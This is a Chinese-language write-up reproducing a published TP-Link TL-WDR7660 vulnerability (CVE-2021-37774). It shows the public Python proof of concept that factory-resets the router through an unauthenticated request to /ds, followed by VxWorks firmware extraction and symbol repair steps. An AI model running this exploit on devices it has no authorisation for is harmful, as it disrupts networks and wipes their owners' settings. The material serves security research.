当前位置: 首页 > news >正文

TL-WDR7660 httpProcDataSrv任意代码执行漏洞复现分析

01  漏洞简述

2023年1月31日,CNVD公开了一个由国内安全研究员提交的TL-WDR7660 httpProcDataSrv任意代码执行漏洞,编号为CNVD-2023-05404,同时公开了漏洞利用详情,poc代码链接为https://github.com/fishykz/TP-POC。从poc代码详情中可以发现,该漏洞于2021年7月由该安全研究员提交给CVE和TP-Link官方,并于2021年8月获得了CVE编号,编号为CVE- 2021-37774,CVE详情为https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37774。

02

影响版本

TL-WDR7660路由器2.0.30固件版本

03

漏洞复现

笔者手上正好有一台闲置的TL-WDR7660千兆版路由器,从路由器背面信息可以看出,该路由器在初始状态下,发出的无线wifi信号名称为TP-LINK_41B1

在初始状态下,连接TP-LINK_41B1 wifi信号不需要密码,连接后使用浏览器访问192.168.1.1会进入到初始化界面,需要对路由器后台密码、wifi名称及密码等进行配置,配置完成后进入路由器后台,访问路由设置->软件升级,发现该路由器安装的固件版本刚好是存在漏洞的2.0.30版本

下面直接尝试复现该漏洞

在poc链接中,漏洞作者公开了漏洞验证python脚本

import sys
import requests
if len(sys.argv) != 2:
    exit()
ip = sys.argv[1]
s = requests.Session()
data = "{\"system\":{\"reset\":null},\"method\":\"do\", \"cfgsync\":{\"get_config_info\":null}}"

response = s.post("http://%s/ds" %ip, data=data)
print("Status code:   %i" % response.status_code)
print("Response body: %s" % response.content)

从作者录制的漏洞验证视频中可以发现,该验证脚本实现了在未认证情况下的直接重置路由器的效果

首先退出路由器后台登录状态,访问192.168.1.1,此时会提示需要输入密码才能进入后台

接下来通过运行poc脚本

python wdr7660_CVE-2021-37774.py 192.168.1.1

运行后返回了200状态码,同时提示等待30s的延时

此时访问192.168.1.1发现已经无法打开路由器后台

通过系统的wifi管理界面发现刚才设置的wifi名称密码已经被重置,重新变成了初始的无认证的wifi信号TP-LINK_41B1

等待30s,连接TP-LINK_41B1后,访问192.168.1.1,发现该路由器已经被重置

04

固件分析

漏洞复现成功后,接下来我们下载TL-WDR7660路由器2.0.30版本固件进行分析

在tp-link官方服务支持站点中,搜索WDR7660就能找到该固件下载地址

https://service.tp-link.com.cn/download/20207/TL-WDR7660%E5%8D%83%E5%85%86%E7%89%88%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620190830_2.0.30.zip

固件下载后首先进行压缩包解压,得到bin固件文件后再通过binwalk进行解压分析

binwalk wdr7660gv1-cn-up_2019-08-30_10.37.02.bin --run-as=root

通过查阅资料发现,TP-LINK TL-WDR7660搭建的固件是基于VxWorks(一种RTOS),通过binwalk解压分析后并不能得到和其他大部分路由器一样类似的完整的文件系统。从binwalk的分析结果来看,该固件主要由一个固件头部(uImage header)和其他LZMA格式的文件数据组成(LZMA是一种压缩算法)。在uImage header中,有一个表示引导加载程序(uBoot)的入口地址字段,即Entry Point,我们可以根据这个入口地址提取出uBoot程序。

一般来说,uBoot程序的长度 = uImage header的长度+其后紧接的一块LZMA数据的长度,从binwalk的分析结果中可以看到,uImage header的起始位置为512,其后紧接的第二块LZMA数据的起始位置为66560,所以可以得到uBoot程序的长度 = uImage header紧接的第二块LZMA数据的起始位置 - uImage header的起始位置 = 66560-512 = 66048,根据这个长度使用dd命令即可提取出uBoot程序

dd wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=uboot.raw bs=1 skip=512 count=66048

提取出uBoot程序后,注意到uImage header紧接的第二块LZMA数据大小为所有LZMA数据中最大的一块,一般来说这里就是主程序的位置,我们用同样的办法把主程序提取出来。主程序的长度 = 1422400 - 66560 = 1355840

dd if=wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=main.lzma bs=1 skip=66560 count=1355840

得到主程序的lzma压缩包文件之后,尝试通过lzma进行解压

lzma -d main.lzma

解压后得到main文件,尝试使用binwalk进行解压分析

binwalk main

 

此时若将该main文件导入到ghidra中,同时搜索漏洞关键字“httpProcDataSrv”,发现虽然有两个结果,但是无法找到对应的函数,其他函数反编译出来的代码也基本不可读

猜测应该是VxWorks系统的分析方式问题,通过查阅资料,发现

“使用ida或者ghidra等反汇编工具进行分析时,需要了解VxWorks系统的加载基址,否则无法正确地分析系统。VxWorks系统的加载基址与栈初始化地址相同,根据VxWorks官方给出的说明,其采用usrInit进行栈初始化,而usrInit是VxWorks系统引导后运行的第一个函数,因此可以直接把VxWorks系统文件丢到ida中,先用0作为加载基址,然后找sp寄存器首次出现的位置,就是VxWorks系统的加载基址。”(参考http://blog.nsfocus.net/tp-link-wdr/)

这里其实有个最简单的办法,使用IDA或者ghidra打开上文中提取得到的main文件,开头地址即为加载基址,如下图,为0x40205000

获得加载基址还需要利用符号表修复函数名才能对基于VxWorks系统的固件进行较好的反编译

TP-LINK WDR7660固件的符号表和VxWorks系统文件是分离的,所以需要从binwalk解压升级文件后得到的文件中寻找符号文件。Bzero是VxWorks中一个函数,系统启动过程中会使用bzero函数对bss区的数据进行清零,因此可以利用”grep -r bzero”查找bzero函数,bzero函数所在的文件即为符号表文件

这里可以看到,bzero函数在15CBBA文件中,我们可以通过010editor等工具打开文件进行确认

同时,也可以看出符号表的区间为0x00008-0x1a728

接下来通过IDA打开上述得到的main文件,并将ROM start address与Loading address都设置为0x40205000

然后通过一款名为vxhunter的开源反编译插件利用符号表修复函数名,vxhunter支持IDA Pro 7.x/Ghidra 9.x/Radare2等逆向工具,插件地址https://github.com/PAGalaxyLab/vxhunter

由于Ghidra 9.x版本的vxhunter没有办法在导入主程序文件后再加载符号表文件,所以下面使用IDA来进行操作

使用流程:先使用IDA加载上面提取到的主程序文件main,然后在edit->vxHunter->load VxWorks symbol file导入提取到的符号表文件

等待修复完成后可以看到函数名已经还原,接下来就可以进行正常静态分析了

相关文章:

TL-WDR7660 httpProcDataSrv任意代码执行漏洞复现分析

01 漏洞简述 2023年1月31日,CNVD公开了一个由国内安全研究员提交的TL-WDR7660 httpProcDataSrv任意代码执行漏洞,编号为CNVD-2023-05404,同时公开了漏洞利用详情,poc代码链接为https://github.com/fishykz/TP-POC。从poc代码详情…...

基于DDS的SOA测试方案实现

随着以太网技术在车载网络中的应用,各种基于以太网的中间件也相继被应用在车内,如果对车载网络有过相关了解的小伙伴,对于作为中间件之一的DDS(数据分发服务Data Distribution Service)可能并不陌生;若没有…...

LibTorch中Windows系统环境配置及CUDA不可用问题解决

前言:本文对在Windows系统上进行LibTorch开发环境配置及相关问题解决做一个较为详细的记录,以便后续查询使用。 使用环境版本: Windows 11 Visual Studio 2022 CUDA 12.0 LibTorch 1.13.1_cu11.7 目录一、LibTorch简介二、LibTorch下载安装三…...

Java并发编程实战二

线程间的通讯方式 1.volitate(缓存一致性协议),synchronize,lock(都保证可见性) 2.wait.notify,await(),signal(前两个是Object,后两个属于lock) 3.管道输入、输出流 (示例代码:PipeInOut.java)(目前几乎没人使用) 管道输入/输…...

Linux中最基本的命令ls的用法有哪些?

Linux是一种流行的操作系统,被广泛应用于服务器和个人电脑。Linux命令行界面是使用Linux操作系统的关键。其中一个最基本的命令是"ls"命令,该命令用于列出指定目录中的所有文件和子目录。在这篇文章中,我们将探讨ls命令及其各种用途…...

第 100002(十万零二)个素数是多少?

题目描述 素数就是不能再进行等分的整数。比如7,11。而 9 不是素数,因为它可以平分为 3 等份。一般认为最小的素数是2,接着是 3,5,... 请问,第 100002(十万零二)个素数是多少? 请注意&#xff1…...

Lua迭代器

Lua迭代器 迭代器(iterator)是一种对象,它能够用来遍历标准模板库容器中的部分或全部元素,每个迭代器对象代表容器中的确定的地址。 在 Lua 中迭代器是一种支持指针类型的结构,它可以遍历集合的每一个元素。 泛型 f…...

同步与互斥之信号量

目录 1、信号量用于线程的互斥 验证 2、信号量用于线程的同步 验证 3、无名信号量用于进程间互斥 代码一 代码二 验证 4、有名信号量 用于进程间同步和互斥 验证 信号量广泛用于进程或线程间的同步和互斥,信号量本质上是一个非负的整数计数器,它…...

如何当个优秀的文档工程师?从 TC China 看技术文档工程师的自我修养

本文系 NebulaGraph Community Academic 技术文档工程师 Abby 的参会观感,讲述了她在中国技术传播大会分享的收获以及感悟。 据说,技术内容领域、传播领域的专家和决策者们会在中国技术传播大会「tcworld China 2022」大会上分享心得。作为一名技术文档工…...

如何学习k8s

学习Kubernetes可以遵循以下步骤: 了解Kubernetes的基本概念和架构。学习Kubernetes前,需要了解它的基本概念和组成部分,包括Pod、Service、ReplicaSet、Deployment、Namespace等等,同时也需要了解Kubernetes的整体架构和工作原理…...

【SSM】MyBatis(十.动态sql)

文章目录1.if2.where3.trim4.set5. choose when otherwise6.foreach6.1 批量删除6.2 批量增加7.sql1.if <select id"selectByMultiCondition" resultType"Car">select * from t_car where 1 1<if test"brand ! null and brand ! ">…...

最近很多人都在说 “前端已死”,讲讲我的看法

转自 : 掘金 作者 : Ethan_Zhou 现状 我记得去年脉脉的论调还都是 客户端已死&#xff0c;前后端还都是一片祥和&#xff0c;有秀工资的&#xff0c;有咨询客户端转前端的&#xff0c;怎么最近打开脉脉一看&#xff0c;风向变了&#xff1f; 随便刷几下&#xff0c;出来的信息…...

大家好,我是火旺技术

大家好&#xff0c;我是火旺技术 在Internet高速发展的今天&#xff0c;我们生活的各个领域都涉及到计算机的应用。这其中&#xff0c;家乡特色推荐的网络应用已经成为外国家乡推荐系统的一种很普遍的方式。不过&#xff0c;在国内&#xff0c;管理网站可能还处于起步阶段。 …...

【Java并发编程系列】全方位理解多线程几乎包含线程的所有操作哦

文章目录一、概述及目录二、实现多线程的方式2.1 继承Tread类&#xff0c;重写run方法。start方法2.2 实现Runnable方法&#xff0c;并实现run接口方法2.3 实现Callable接口重写call方法&#xff0c;Feature.get()获取返回值三、线程的执行流程3.1 执行流程3.2 start方法和 run…...

天宝S6测量机器人/天宝S6全站仪参数/教程/Trimble 天宝全站仪

TRIMBLE DR PLUS技术 Trimble DR Plus™距离测量技术实现更大范围的直接反射测量&#xff0c;不使用棱镜也能进行长距离测量。难以抵达或不安全的测 量目标&#xff0c;对Trimble S6来说不再是问题。Trimble DR Plus结合 了MagDrive™磁驱伺服技术&#xff0c;使测量的快捷和…...

c++基础知识汇总

目录 1、基础 1.2 注释 1.3 变量 1.4 常量 1.5 关键字 1.6 标识符命名规则 2 数据类型 2.1 整型 2.2 sizeof关键字 2.3 实型&#xff08;浮点型&#xff09; 2.4 字符型 2.5 转义字符 2.6 字符串型 2.7 布尔类型 bool 2.8 数据的输入 1、基础 1.2 注释 作用&a…...

重磅!基于GPT-4的全新智能编程助手 GitHub Copilot X 来了!

GitHub Copilot相信大家一定不陌生了&#xff0c;强大的智能代码补全功能一度让媒体直呼程序员要被替代。随着OpenAI推出全新的GPT-4&#xff0c;GitHub Copilot也在3月22日&#xff0c;推出了全新一代产品&#xff1a;GitHub Copilot X 。最新的GitHub Copilot X 不仅可以自动…...

第04章_运算符

第04章_运算符 &#x1f3e0;个人主页&#xff1a;shark-Gao &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是shark-Gao&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f389;目前状况&#xff1a;23届毕业生&#xff0c;目前在某公…...

Excel 文件比较工具:xlCompare 11.0 Crack

&#xff08;Excel 文件比较工具&#xff09;xlCompare 11.0 下载并安装最新版本的 xlCompare。下载是一个功能齐全的版本。 筛选匹配的行 筛选不同的行 仅显示两个 Excel 文件中存在的行&#xff0c;并排除新&#xff08;已删除&#xff09;行 隐藏在另一张工作表上具有相应行…...

802.1x认证原理

802.1x认证原理802.1X认证简介802.1X认证协议802.1X认证流程802.1X认证简介 定义&#xff1a;802.1x协议是一种基于端口的网络接入控制协议。基于端口的网络接入控制&#xff0c;是指在局域网接入设备的端口这一级验证用户身份&#xff0c;并且控制其访问权限。优点&#xff1…...

Arm SMMUv3_ROOT寄存器架构与颗粒保护机制详解

1. SMMUv3_ROOT寄存器架构解析SMMUv3_ROOT是Arm系统内存管理单元(SMMU)架构中的核心控制模块&#xff0c;负责管理物理内存的访问权限和隔离机制。作为现代SoC中不可或缺的安全组件&#xff0c;它通过一组精心设计的寄存器实现对内存访问的细粒度控制。1.1 寄存器分类与功能矩阵…...

KouriChat + DeepSeek + 微信接入:本地 AI 角色聊天机器人搭建实录

&#x1f381;个人主页&#xff1a;User_芊芊君子 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 &#x1f50d;系列专栏&#xff1a;AI 文章目录&#xff1a; 前言1 KouriChat项目简介2 环境准备3 环境安装及项目部署3.1 Python3.11 安装3.2 启动KouriC…...

3步解锁百度网盘满速下载:告别限速困扰的完整方案

3步解锁百度网盘满速下载&#xff1a;告别限速困扰的完整方案 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘的非会员下载速度而烦恼吗&#xff1f;面对100KB/…...

DDSP与神经音频合成:AI如何复刻经典合成器音色

1. 项目概述&#xff1a;当AI遇见经典合成器如果你和我一样&#xff0c;是个对复古合成器声音着迷&#xff0c;同时又对现代AI技术充满好奇的音乐制作人或开发者&#xff0c;那么最近在GitHub上出现的martinic/DrMixAISynth项目&#xff0c;绝对值得你花上一个下午的时间好好研…...

大模型幻觉:为何AI会“一本正经地胡说八道”?

大模型的“幻觉”是指其生成看似合理却错误的回答。这主要源于训练数据中的错误信息、模型仅学习语言分布而非事实、以及激励机制倾向于猜测而非承认未知。减轻幻觉的方法包括引入RAG技术连接外部知识库&#xff0c;以及优化训练激励机制&#xff0c;奖励诚实地表达不确定性。 …...

DeepSeek Mesh可观测性体系构建:1个Prometheus+3类自定义指标+7类黄金信号告警模板(附YAML源码)

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;DeepSeek Mesh可观测性体系全景概览 DeepSeek Mesh 是面向大规模 AI 模型推理服务的云原生服务网格&#xff0c;其可观测性体系并非简单叠加监控指标&#xff0c;而是围绕模型生命周期、推理链路与资源…...

Ctool:一站式解决开发者的日常编码烦恼

Ctool&#xff1a;一站式解决开发者的日常编码烦恼 【免费下载链接】Ctool 程序开发常用工具 chrome / edge / firefox / utools / windows / linux / mac 项目地址: https://gitcode.com/gh_mirrors/ct/Ctool 在日常开发工作中&#xff0c;我们常常需要处理各种编码转换…...

WinDirStat插件开发终极指南:构建自定义磁盘管理功能

WinDirStat插件开发终极指南&#xff1a;构建自定义磁盘管理功能 【免费下载链接】windirstat WinDirStat is a disk usage statistics viewer and cleanup tool for Microsoft Windows 项目地址: https://gitcode.com/gh_mirrors/wi/windirstat 作为Windows平台最知名的…...

从零到一:用MMDetection在Ubuntu 20.04上搭建Faster R-CNN模型(含完整配置与避坑指南)

从零到一&#xff1a;Ubuntu 20.04下MMDetection与Faster R-CNN实战全解析 当目标检测技术遇上PyTorch生态&#xff0c;MMDetection框架正在成为工业界和学术界的新宠。本文将带您完成从裸机到完整训练Faster R-CNN模型的实战旅程&#xff0c;特别针对Ubuntu 20.04系统和NVIDIA…...

【研报 A109】2026年脑机接口产业化专题报告:首个侵入式产品获批,医保完成赋码

摘要&#xff1a;脑机接口行业正迎来产业化应用的关键元年&#xff0c;2026年行业正式从实验室研究走向规模化商业化落地&#xff0c;当前行业处于导入期尾端、爆发前夜&#xff0c;非侵入式与半侵入式路径已率先打通商业化通道&#xff0c;侵入式则处于临床验证阶段。政策端&a…...